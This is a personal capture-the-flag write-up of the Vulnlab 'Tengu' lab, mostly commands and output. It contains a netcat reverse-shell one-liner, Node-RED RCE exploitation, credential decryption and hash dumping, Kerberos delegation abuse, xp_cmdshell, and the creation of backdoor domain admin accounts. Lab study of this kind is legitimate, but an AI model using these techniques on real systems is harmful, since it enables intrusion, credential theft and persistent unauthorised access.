Here is my notes on TENGU box from Vulnlab.
TENGU:
DC.TENGU.VL: 10.10.174.149
No Kerberoasting so don't bother !
#Only if pivoting with chisel and have t2_m.winters.
proxychains4 bloodhound-python -c All -u t2_m.winters -p Tengu123 -d tengu.vl --dns-tcp -ns 10.10.183.101
BLOODHOUND DATA:
NODERED$ -> Member of -> LINUX_SERVER@TENGU.VL Group -> ReadGMSAPassword -> GMSA01@TENGU.VL User.
NODERED - Require Root:
root@nodered:~# python3 keytabextract.py /etc/krb5.keytab
python3 keytabextract.py /etc/krb5.keytab
[*] RC4-HMAC Encryption detected. Will attempt to extract NTLM hash.
[*] AES256-CTS-HMAC-SHA1 key found. Will attempt hash extraction.
[*] AES128-CTS-HMAC-SHA1 hash discovered. Will attempt hash extraction.
[+] Keytab File successfully imported.
REALM : TENGU.VL
SERVICE PRINCIPAL : NODERED$/
NTLM HASH : d4210ee2db0c03aa3611c9ef8a4dbf49
AES-256 HASH : 4ce11c580289227f38f8cc0225456224941d525d1e525c353ea1e1ec83138096
AES-128 HASH : 3e04b61b939f61018d2c27d4dc0b385f
proxychains4 crackmapexec ldap 10.10.183.101 -u 'NODERED$' -H d4210ee2db0c03aa3611c9ef8a4dbf49 --gmsa
SMB 10.10.183.101 445 DC [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:tengu.vl) (signing:True) (SMBv1:False)
[proxychains] Strict chain ... 127.0.0.1:1080 ... DC.tengu.vl:636 ... OK
LDAP 10.10.183.101 636 DC [+] tengu.vl\NODERED$:d4210ee2db0c03aa3611c9ef8a4dbf49
LDAP 10.10.183.101 636 DC [*] Getting GMSA Passwords
LDAP 10.10.183.101 636 DC Account: gMSA01$ NTLM: 20e3021a743b059d150adf19e1a00db8
Silver-Ticket Example: #TENGU-VL
gMSA01$@TENGU.VL User -> AllowedToDelegate -> SQL_ADMINS@TENGU.VL
or
gMSA01$@TENGU.VL User -> AllowedToDelegate -> SQL.TENGU.VL
t2_m.winters -> Member Of -> SQL_ADMINS@TENGU
AllowedToDelegate:
MSSQLSvc/SQL:1433
MSSQLSvc/sql.tengu.vl:1433
MSSQLSvc/sql.tengu.vl
MSSQLSvc/sql
We may cannot use silver ticket for administrator but we can do it to t2_m.winters since it's a member of SQL-ADMINS and it didn' work in the first place is because it's in low priv.
So with GMSA01, we can make it happen to t2_m.winters user to gain xp_cmdshell as GMSA01 sessions for SQL target.
SPN:
MSSQLSvc/SQL.tengu.vl:1433
MSSQLSvc/SQL.tengu.vl
getST.py -spn 'MSSQLSvc/SQL.tengu.vl' -impersonate 't2_m.winters' -altservice 'mssql' -hashes :20e3021a743b059d150adf19e1a00db8 'tengu.vl/GMSA01$'
┌──(root㉿kali)-[/home/kali/VULNLAB/TENGU]
└─# sudo proxychains4 ntpdate 10.10.178.37
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
2024-11-11 14:07:29.794443 (-0500) -3229.692154 +/- 0.058561 10.10.178.37 s1 no-leap
CLOCK: time stepped by -3229.692154
proxychains4 impacket-getST -spn 'MSSQLSvc/sql.tengu.vl' -impersonate 'T2_M.WINTERS' -hashes :20e3021a743b059d150adf19e1a00db8 'tengu.vl/gMSA01$'@sql.tengu.vl -dc-ip 10.10.183.101
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.178.37:88 ... OK
[*] Requesting S4U2Proxy
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.178.37:88 ... OK
[*] Saving ticket in T1_M.WINTERS@MSSQLSvc_sql.tengu.vl@TENGU.VL.ccache
┌──(root㉿kali)-[/home/kali/VULNLAB/TENGU]
└─# export KRB5CCNAME=/home/kali/VULNLAB/TENGU/T1_M.WINTERS@MSSQLSvc_sql.tengu.vl@TENGU.VL.ccache
┌──(root㉿kali)-[/home/kali/VULNLAB/TENGU]
└─# proxychains4 impacket-mssqlclient T1_M.WINTERS@sql.tengu.vl -k -no-pass
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.11.0 - Copyright 2023 Fortra
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.178.38:1433 ... OK
[*] Encryption required, switching to TLS
[-] ERROR(SQL): Line 1: Login failed. The login is from an untrusted domain and cannot be used with Integrated authentication.
┌──(root㉿kali)-[/home/kali/VULNLAB/TENGU]
└─# sudo proxychains4 ntpdate 10.10.178.37
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
2024-11-11 14:07:55.938890 (-0500) -3229.214783 +/- 0.059359 10.10.178.37 s1 no-leap
CLOCK: time stepped by -3229.214783
┌──(root㉿kali)-[/home/kali/VULNLAB/TENGU]
└─# proxychains4 impacket-mssqlclient T1_M.WINTERS@sql.tengu.vl -k -no-pass
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.11.0 - Copyright 2023 Fortra
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.178.38:1433 ... OK
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(SQL): Line 1: Changed database context to 'master'.
[*] INFO(SQL): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (TENGU\t1_m.winters dbo@master)>
Silver-Ticket Troubleshooting:
1) ntpdate to DC
2) Create a silver ticket to DC01.
3) Export or use it.
4) ntpdate to DC.
5) then run the service with the ticket.
If that don't work then repeat the 5 steps until it works.
┌──(root㉿kali)-[/home/kali/VULNLAB/TENGU]
└─# proxychains4 mssqlclient.py T1_M.WINTERS@sql.tengu.vl -k -no-pass
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.11.0 - Copyright 2023 Fortra
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.178.38:1433 ... OK
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(SQL): Line 1: Changed database context to 'master'.
[*] INFO(SQL): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (TENGU\t1_m.winters dbo@master)> enable_xp_cmdshell
[*] INFO(SQL): Line 196: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
[*] INFO(SQL): Line 196: Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.
SQL (TENGU\t1_m.winters dbo@master)> xp_cmdshell "whoami"
output
-------------
tengu\gmsa01$
Turn it into a user-shell of SQL01 as usual.
TENGU\T0_c.fowler:UntrimmedDisplaceModify25
#From POST-EXPLOITATION of SQL.
proxychains4 crackmapexec smb 10.10.178.37 -u T0_c.fowler -p UntrimmedDisplaceModify25
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.178.37:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.178.37:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.178.37:135 ... OK
SMB 10.10.178.37 445 DC [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:tengu.vl) (signing:True) (SMBv1:False)
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.178.37:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.178.37:445 ... OK
SMB 10.10.178.37 445 DC [-] tengu.vl\T0_c.fowler:UntrimmedDisplaceModify25 STATUS_ACCOUNT_RESTRICTION
PS C:\Windows\system32> dir \\DC.TENGU.VL\C$
Directory: \\DC.TENGU.VL\C$
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/8/2021 1:20 AM PerfLogs
d-r--- 3/25/2024 2:41 AM Program Files
d----- 5/8/2021 2:40 AM Program Files (x86)
d-r--- 3/9/2024 10:52 AM Users
d----- 3/25/2024 2:49 AM Windows
PS C:\Windows\system32> dir \\DC.TENGU.VL\C$\Users\Administrator\Desktop
Directory: \\DC.TENGU.VL\C$\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/11/2024 6:39 AM 37 root.txt
PS C:\Windows\system32> type \\DC.TENGU.VL\C$\Users\Administrator\Desktop\root.txt
VL{REDIRECTED}
ROOT.TXT: VL{REDIRECTED}
Nmap scan report for 10.10.174.149
Host is up, received user-set (0.12s latency).
Scanned at 2024-11-11 10:38:15 EST for 231s
Not shown: 714 closed tcp ports (reset), 285 filtered tcp ports (no-response)
PORT STATE SERVICE REASON VERSION
3389/tcp open ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC.tengu.vl
| Issuer: commonName=DC.tengu.vl
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-11-10T14:45:14
SQL.TENGU.VL: 10.10.174.150
Nmap scan report for 10.10.174.150
Host is up, received user-set (0.12s latency).
Scanned at 2024-11-11 10:38:15 EST for 615s
Not shown: 669 filtered tcp ports (no-response), 330 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
3389/tcp open ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: TENGU
| NetBIOS_Domain_Name: TENGU
| NetBIOS_Computer_Name: SQL
| DNS_Domain_Name: tengu.vl
| DNS_Computer_Name: SQL.tengu.vl
| DNS_Tree_Name: tengu.vl
| Product_Version: 10.0.20348
|_ System_Time: 2024-11-11T14:54:37+00:00
| ssl-cert: Subject: commonName=SQL.tengu.vl
| Issuer: commonName=SQL.tengu.vl
| Public Key type: rsa
#Pivoting from NODERED to MSSQL Service with ligolo-ng:
impacket-mssqlclient nodered_connector:DreamPuppyOverall25@10.10.183.102 -windows-auth
nodered_connector:DreamPuppyOverall25
┌──(root㉿kali)-[/home/…/TENGU/results/10.10.174.151/loot]
└─# proxychains4 impacket-mssqlclient nodered_connector:DreamPuppyOverall25@10.10.183.102
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.11.0 - Copyright 2023 Fortra
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.183.102:1433 ... OK
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: Dev
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(SQL): Line 1: Changed database context to 'Dev'.
[*] INFO(SQL): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (nodered_connector nodered_connector@Dev)>
-WORKS !
SELECT name FROM sys.databases;
select * from Demo.information_schema.tables;
select * from Demo.dbo.users;
SQL (nodered_connector nodered_connector@Demo)> SELECT name FROM sys.databases;
name
------
master
tempdb
model
msdb
Demo
Dev
SQL (nodered_connector nodered_connector@Demo)>
SQL (nodered_connector nodered_connector@Demo)> select * from Demo.dbo.users;
ID Username Password
---- --------------- -------------------------------------------------------------------
NULL b't2_m.winters' b'af9cfa9b70e5e90984203087e5a5219945a599abf31dd4bb2a11dc20678ea147'
t2_m.winters:af9cfa9b70e5e90984203087e5a5219945a599abf31dd4bb2a11dc20678ea147:Tengu123
Credential Discovered !
#FROM BLOODHOUND DATA on DC01:
┌──(root㉿kali)-[/home/kali/VULNLAB/SENDAI]
└─# sudo rlwrap nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.8.0.71] from (UNKNOWN) [10.10.178.38] 56838
Microsoft Windows [Version 10.0.20348.2340]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
tengu\gmsa01$
C:\Windows\system32>hostname
hostname
SQL
USER-SHELL !
PRIV ESC:
C:\>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
POTATO TIME !
meterpreter > getsystem
...got system via technique 5 (Named Pipe Impersonation (PrintSpooler variant)).
meterpreter > shell
Process 1480 created.
Channel 1 created.
Microsoft Windows [Version 10.0.20348.2340]
(c) Microsoft Corporation. All rights reserved.
C:\Users\gMSA01$>whoami
whoami
nt authority\system
SYSTEM-SHELL !
C:\Users\Administrator\Desktop>whoami
whoami
nt authority\system
C:\Users\Administrator\Desktop>hostname
hostname
SQL
C:\Users\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 4263-77E2
Directory of C:\Users\Administrator\Desktop
03/11/2024 05:41 AM <DIR> .
03/09/2024 10:52 AM <DIR> ..
03/11/2024 05:41 AM 37 root.txt
1 File(s) 37 bytes
2 Dir(s) 6,604,091,392 bytes free
C:\Users\Administrator\Desktop>type root.txt
type root.txt
VL{REDIRECTED}
ROOT.TXT: VL{REDIRECTED}
POST-EXPLOITATION:
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:73db3fdd24bee6eeb5aac7e17e4aba4c:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:a4be65de5834374c1df6b157d6bf8d64:::
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /f /v LocalAccountTokenFilterPolicy /t Reg_DWORD /d 1
proxychains4 donpapi collect --hashes :73db3fdd24bee6eeb5aac7e17e4aba4c -u administrator -t 10.10.178.38
[SNIP]
[10.10.178.38] [+] Dumping User and Machine masterkeys
[10.10.178.38] [$] [DPAPI] Got 5 masterkeys
[10.10.178.38] [+] Dumping User Chromium Browsers
[10.10.178.38] [+] Dumping User and Machine Certificates
[10.10.178.38] [+] Dumping User and Machine Credential Manager
[10.10.178.38] [$] [CredMan] [SYSTEM] Domain:batch=TaskScheduler:Task:{3C0BC8C6-D88D-450C-803D-6A412D858CF2} - TENGU\T0_c.fowler:UntrimmedDisplaceModify25
[10.10.178.38] [+] Gathering recent files and desktop files
[10.10.178.38] [+] Dumping User Firefox Browser
[10.10.178.38] [+] Dumping MobaXterm credentials
[10.10.178.38] [+] Dumping MRemoteNg Passwords
[SNIP]
TENGU\T0_c.fowler:UntrimmedDisplaceModify25
net user T0_c.fowler /domain
The request will be processed at a domain controller for domain tengu.vl.
User name t0_c.fowler
Full Name T0_Colin Fowler
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 3/9/2024 12:04:33 PM
Password expires Never
Password changeable 3/10/2024 12:04:33 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 11/11/2024 10:36:04 AM
Logon hours allowed All
Local Group Memberships
Global Group memberships *Domain Admins *Protected Users
*Domain Users
The command completed successfully.
PS C:\> cd admin
cd admin
PS C:\admin> ls
ls
Directory: C:\admin
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/10/2024 2:50 PM 1433 Task.ps1
PS C:\admin> icacls Task.ps1
icacls Task.ps1
Task.ps1 NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
TENGU\T0_c.fowler:(I)(F)
Successfully processed 1 files; Failed processing 0 files
schtasks /query /v /fo LIST > tasklist.txt
HostName: SQL
TaskName: \Daily_Checkup
Next Run Time: 11/11/2024 2:41:59 PM
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 11/11/2024 10:36:04 AM
Last Result: -2147020576
Author: TENGU\T0_c.fowler
Task To Run: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -File C:\admin\Task.ps1
Start In: N/A
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: T0_c.fowler
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: Disabled
Schedule: Scheduling data is not available in this format.
Schedule Type: Daily
Start Time: 2:41:59 PM
Start Date: 3/10/2024
End Date: N/A
Days: Every 1 day(s)
Months: N/A
Repeat: Every: Disabled
Repeat: Until: Time: Disabled
Repeat: Until: Duration: Disabled
Repeat: Stop If Still Running: Disabled
net user offsec Start1231 /add
net localgroup administrators offsec /add
Modify Task.ps1 then force restart it with this command:
Get-ScheduledTask -TaskName "Daily_Checkup" | Start-ScheduledTask
sudo rlwrap nc -lnvp 5555
listening on [any] 5555 ...
connect to [10.8.0.71] from (UNKNOWN) [10.10.178.38] 58980
PS C:\Windows\system32> whoami
tengu\t0_c.fowler
PS C:\Windows\system32> hostname
SQL
PS C:\Windows\system32>
We are now in domain admin session so we add our own domain admin or local admin of DC01 instead.
PS C:\Windows\system32> net user pucks puck123! /add /domain
The request will be processed at a domain controller for domain tengu.vl.
The command completed successfully.
PS C:\Windows\system32> net localgroup Administrators pucks /add /domain
net user offsec offsec123!offsec /add /domain
net group "Domain Admins" offsec /add /domain
If that don't work then you can just grab root.txt flag in DC instead.
PS C:\Windows\system32> dir \\DC.TENGU.VL\C$
Directory: \\DC.TENGU.VL\C$
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/8/2021 1:20 AM PerfLogs
d-r--- 3/25/2024 2:41 AM Program Files
d----- 5/8/2021 2:40 AM Program Files (x86)
d-r--- 3/9/2024 10:52 AM Users
d----- 3/25/2024 2:49 AM Windows
PS C:\Windows\system32> dir \\DC.TENGU.VL\C$\Users\Administrator\Desktop
Directory: \\DC.TENGU.VL\C$\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/11/2024 6:39 AM 37 root.txt
PS C:\Windows\system32> type \\DC.TENGU.VL\C$\Users\Administrator\Desktop\root.txt
VL{6f106b09ff464e7ef0b36483e348dbc9}
NODERED: 10.10.174.151
Nmap scan report for 10.10.174.151
Host is up, received user-set (0.11s latency).
Scanned at 2024-11-11 10:38:15 EST for 840s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 86a2626584f4ec5ba8a8a38f83a39627 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL2hpU6weYtD62S/8lWglrpgVR1GLLqFIQbdV6/FDnmRNlpXO5yUq7Nfziu3FnxyAk7lTv0FlC9wtod6LQitly8=
| 256 41c7d428ecd85baa97eec0be3ce3aa73 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE22Ek7XHADfVvm3ESrxEr6Eif+lyyaEb8LfCO8Z3rP+
1880/tcp open vsat-control? syn-ack ttl 63
| fingerprint-strings:
| DNSVersionBindReqTCP, RPCCheck:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 200 OK
| Access-Control-Allow-Origin: *
| Content-Type: text/html; charset=utf-8
| Content-Length: 1736
| ETag: W/"6c8-alK4HUX6EE46WSbf+286KDcADEI"
-Node-RED website.
Node-Red Web Service NOTES: #TCP Port 1880
-Vulnerable to RCE.
https://quentinkaiser.be/pentesting/2018/09/07/node-red-rce/
https://gist.github.com/qkaiser/79459c3cb5ea6e658701c7d203a8c297/raw/8966e4ee07400f16b92737161ca8df3cbfa37f91/noderedsh.py
┌──(root㉿kali)-[/home/…/TENGU/results/10.10.174.151/exploit]
└─# python3 exploit.py http://10.10.174.151:1880
[+] Node-RED does not require authentication.
[+] Establishing RCE link ....
> whoami
TypeError: results.foreach is not a function
/home/kali/VULNLAB/TENGU/results/10.10.174.151/exploit/exploit.py:271: RuntimeWarning: coroutine 'WebSocketCommonProtocol.close' was never awaited
websocket.close()
RuntimeWarning: Enable tracemalloc to get the object allocation traceback
>
nodered_svc
> id
TypeError: results.foreach is not a function
>
{"name":"TypeError","message":"The argument 'file' cannot be empty. Received ''"}
>
TypeError: results.foreach is not a function
>
uid=1001(nodered_svc) gid=1001(nodered_svc) groups=1001(nodered_svc)
> hostname
TypeError: results.foreach is not a function
>
{"name":"TypeError","message":"The argument 'file' cannot be empty. Received ''"}
>
TypeError: results.foreach is not a function
>
{"name":"TypeError","message":"The argument 'file' cannot be empty. Received ''"}
>
TypeError: results.foreach is not a function
>
{"name":"TypeError","message":"The argument 'file' cannot be empty. Received ''"}
>
TypeError: results.foreach is not a function
>
nodered
#Give a few seconds for the command to be executed.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.8.0.71 1234 >/tmp/f
┌──(root㉿kali)-[/home/kali/VULNLAB]
└─# sudo rlwrap nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.8.0.71] from (UNKNOWN) [10.10.174.151] 57694
bash: cannot set terminal process group (434): Inappropriate ioctl for device
bash: no job control in this shell
nodered_svc@nodered:/opt/nodered$ whoami
whoami
nodered_svc
nodered_svc@nodered:/opt/nodered$
USER-SHELL !
python3 -c 'import pty; pty.spawn("/bin/bash")'
PRIV ESC:
NO GCC.
NO Crontab.
NO /etc/cron.d.
NO SUID.
NO getcap binaries.
NO Kernel Exploit.
NO interesting /opt directory.
LINPEAS:
/home/nodered_svc/.node-red/node_modules/@azure/identity/dist-esm/src/credentials
/home/nodered_svc/.node-red/node_modules/@azure/identity/dist-esm/src/credentials/credentialPersistenceOptions.js
/home/nodered_svc/.node-red/node_modules/@azure/identity/dist-esm/src/credentials/credentialPersistenceOptions.js.map
/home/nodered_svc/.node-red/node_modules/@azure/identity/dist-esm/src/msal/credentials.js
/home/nodered_svc/.node-red/node_modules/@azure/identity/dist-esm/src/msal/credentials.js.map
#NOPE.
No Hidden Service.
No pspy64s.
nodered_svc@nodered:/opt/nodered$ cd .node-red
cd .node-red
nodered_svc@nodered:/opt/nodered/.node-red$ ls
ls
flows_cred.json
flows.json
lib
node_modules
package.json
package-lock.json
settings.js
nodered_svc@nodered:/opt/nodered/.node-red$ cat flows_cred.json
cat flows_cred.json
{
"$": "7f5ab122acc2c24df1250a302916c1a6QT2eBZTys+V0xdb7c6VbXMXw2wbn/Q3r/ZcthJlrvm3XLJ8lSxiq+FAWF0l3Bg9zMaNgsELXPXfbKbJPxtjkD9ju+WJrZBRq/O40hpJzWoKASeD+w2o="
}
nodered_svc@nodered:/opt/nodered/.node-red$ cat .flows_cred.json.backup
cat .flows_cred.json.backup
{
"$": "aaf1095c59f3e8923aaba94f9a334213FfcRfVk7nduziitg8IWJ7vGzrR+YDe+Z0LPlgvpOU3s74v6yHsR4mdwpum0l0WDzQ+1HMdRJLj3eavF93oKtSgYpxhp2/VCaE8k9R0isPQ5lvMdrw/rfVheFc6fYk5Da/+qnRm/9IM91Yw=="
}
None of these hashes works with nodered_svc user.
Node-Red Hash Decrypt:
node-cred-decrypt.sh Script:
#!/bin/bash
#
# Decrypt flows_cred.json from a NodeRED data directory
#
# Usage
# ./node-red-decrypt-flows-cred.sh ./node_red_data
#
jq '.["$"]' -j $1/flows_cred.json | \
cut -c 33- | \
openssl enc -aes-256-ctr -d -base64 -A -iv `jq -r '.["$"]' $1/flows_cred.json | cut -c 1-32` -K `jq -j '._credentialSecret' $1/.config.runtime.json | sha256sum | cut -c 1-64`
nodered_svc@nodered:/opt/nodered/.node-red$ cat flows_cred.json
cat flows_cred.json
{
"$": "7f5ab122acc2c24df1250a302916c1a6QT2eBZTys+V0xdb7c6VbXMXw2wbn/Q3r/ZcthJlrvm3XLJ8lSxiq+FAWF0l3Bg9zMaNgsELXPXfbKbJPxtjkD9ju+WJrZBRq/O40hpJzWoKASeD+w2o="
}
nodered_svc@nodered:/opt/nodered/.node-red$ cat .config.runtime.json
cat .config.runtime.json
{
"instanceId": "e8a268b474281aa4",
"_credentialSecret": "dee5c9fb0287ad39bac9f29bfe6f3adb4be9826f135eb6da91de0d013bd6799b"
}
┌──(root㉿kali)-[/home/…/TENGU/results/10.10.174.151/exploit]
└─# ls -lah JUNK
total 16K
drwxr-xr-x 2 root root 4.0K Nov 11 12:39 .
drwxr-xr-x 3 root root 4.0K Nov 11 12:39 ..
-rw-r--r-- 1 root root 133 Nov 11 12:38 .config.runtime.json
-rw-r--r-- 1 root root 163 Nov 11 12:35 flows_cred.json
┌──(root㉿kali)-[/home/…/TENGU/results/10.10.174.151/exploit]
└─# chmod +x node-cred-decrypt.sh
┌──(root㉿kali)-[/home/…/TENGU/results/10.10.174.151/exploit]
└─# ./node-cred-decrypt.sh ./JUNK/
{"d237b4c16a396b9e":{"username":"nodered_connector","password":"DreamPuppyOverall25"}}
https://blog.hugopoi.net/en/2021/12/28/how-to-decrypt-flows_cred-json-from-nodered-data/
https://dan-feliciano.com/2024/06/05/tengu/
nodered_connector:DreamPuppyOverall25
This credential can be use for MSSQL Service of SQL target. #Require Pivoting such with Ligolo-NG or chisel as usual.
./chisel server -p 53 --reverse
./chisel client --max-retry-count=1 10.8.0.71:53 R:1080:socks
t2_m.winters:af9cfa9b70e5e90984203087e5a5219945a599abf31dd4bb2a11dc20678ea147:Tengu123
#From mssql of SQL.
nodered_svc@nodered:/home/tengu.vl$ ls -lah
ls -lah
total 12K
drwxr-xr-x 3 root root 4,0K Mär 26 2024 .
drwxr-xr-x 5 root root 4,0K Mär 26 2024 ..
drwxr-xr-x 2 t2_m.winters@tengu.vl domain users@tengu.vl 4,0K Mär 26 2024 t2_m.winters
nodered_svc@nodered:/home/tengu.vl$ su - t2_m.winters@tengu.vl
su - t2_m.winters@tengu.vl
Password: Tengu123
t2_m.winters@tengu.vl@nodered:~$ whoami
whoami
t2_m.winters@tengu.vl
t2_m.winters@tengu.vl@nodered:~$ id
id
uid=1317801117(t2_m.winters@tengu.vl) gid=1317800513(domain users@tengu.vl) groups=1317800513(domain users@tengu.vl),1317801115(linux_server_admins@tengu.vl)
t2_m.winters@tengu.vl@nodered:~$ sudo -l
sudo -l
[sudo] password for t2_m.winters@tengu.vl: Tengu123
Matching Defaults entries for t2_m.winters@tengu.vl on nodered:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User t2_m.winters@tengu.vl may run the following commands on nodered:
(ALL : ALL) ALL
t2_m.winters@tengu.vl@nodered:~$ sudo su
sudo su
root@nodered:/home/tengu.vl/t2_m.winters# whoami
whoami
root
ROOT-SHELL !
root@nodered:~# whoami
whoami
root
root@nodered:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@nodered:~# pwd
pwd
/root
root@nodered:~# cat root.txt
cat root.txt
VL{REDIRECTED}
ROOT.TXT: VL{REDIRECTED}
